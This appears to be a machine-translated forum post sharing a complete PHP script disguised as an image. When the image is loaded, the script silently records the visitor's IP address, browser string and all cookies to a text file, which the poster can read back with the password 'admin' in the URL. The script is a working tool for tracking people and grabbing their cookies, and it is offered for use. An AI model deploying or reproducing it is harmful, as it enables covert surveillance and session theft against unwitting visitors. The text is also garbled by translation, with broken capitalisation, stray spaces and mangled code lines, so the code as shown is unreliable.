I am too lazy to write regular expressions to judge the operating system. Now, you can know it directly based on the browser information.
Http: // localhost/test. php
$ Pass = admin: the password for viewing information
Http://www.bkjia.com/test. php? Pass = admin
You can view the password.
$ FilePath = './x.txt'; // information storage address
Optional imageapps'x.jpg '; // You can select an image to read and output the image.
<? Php
Date_default_timezone_set ('prc ');
$ Pass = 'admin ';
$ FilePath = './x.txt'; // information storage address
Export imageapps'x.jpg '; // name of the output image
If (@ $ _ GET ['pass'] = $ pass ){
$ Pics = file ($ filePath );
For ($ I = 0; $ I <count ($ pics); $ I ++)
{
Echo $ pics [$ I];
}
Exit;
} Else {
Header ("Content-type: image/jpeg ");
$ Ip = getip ();
$ USER_AGENT = $ _ SERVER ['HTTP _ USER_AGENT '];
$ Data = date ("Y-m-d H: I: s", time ());
$ Content = 'Access IP: '. $ ip.' <br/> browser information: '. $ USER_AGENT.' <br/> COOKIE: <br/> ';
Writeto ($ filePath, $ content );
Foreach ($ _ COOKIE as $ key => $ value ){
$ Content = $ key. '= '.html specialchars ($ value).' <br/> ';
Writeto ($ filePath, $ content );
}
Writeto ($ filePath, 'Access time: '. $ data.' <br/> ');
$ Pics = file ($ image );
For ($ I = 0; $ I <count ($ pics); $ I ++)
{
Echo $ pics [$ I];
}
}
Function getip (){
If (! Empty ($ _ SERVER ["HTTP_CLIENT_IP"]) {
$ Cip = $ _ SERVER ["HTTP_CLIENT_IP"];
} Else if (! Empty ($ _ SERVER ["HTTP_X_FORWARDED_FOR"]) {
$ Cip = $ _ SERVER ["HTTP_X_FORWARDED_FOR"];
} Else if (! Empty ($ _ SERVER ["REMOTE_ADDR"]) {
$ Cip = $ _ SERVER ["REMOTE_ADDR"];
} Else {
$ Cip = '';
}
Preg_match ("/[\ d \.] {7, 15}/", $ cip, $ cips );
$ Cip = isset ($ cips [0])? $ Cips [0]: 'unknown ';
Unset ($ cips );
Return $ cip;
}
Function writeto ($ filePath, $ content ){
$ Path = fopen ($ filePath, 'A ');
Flock ($ path, LOCK_EX );
$ Result = fwrite ($ path, $ content );
Fclose ($ path );
Return $ result;
}
?>
Address: http://www.90sec.org/thread-1744-1-1.html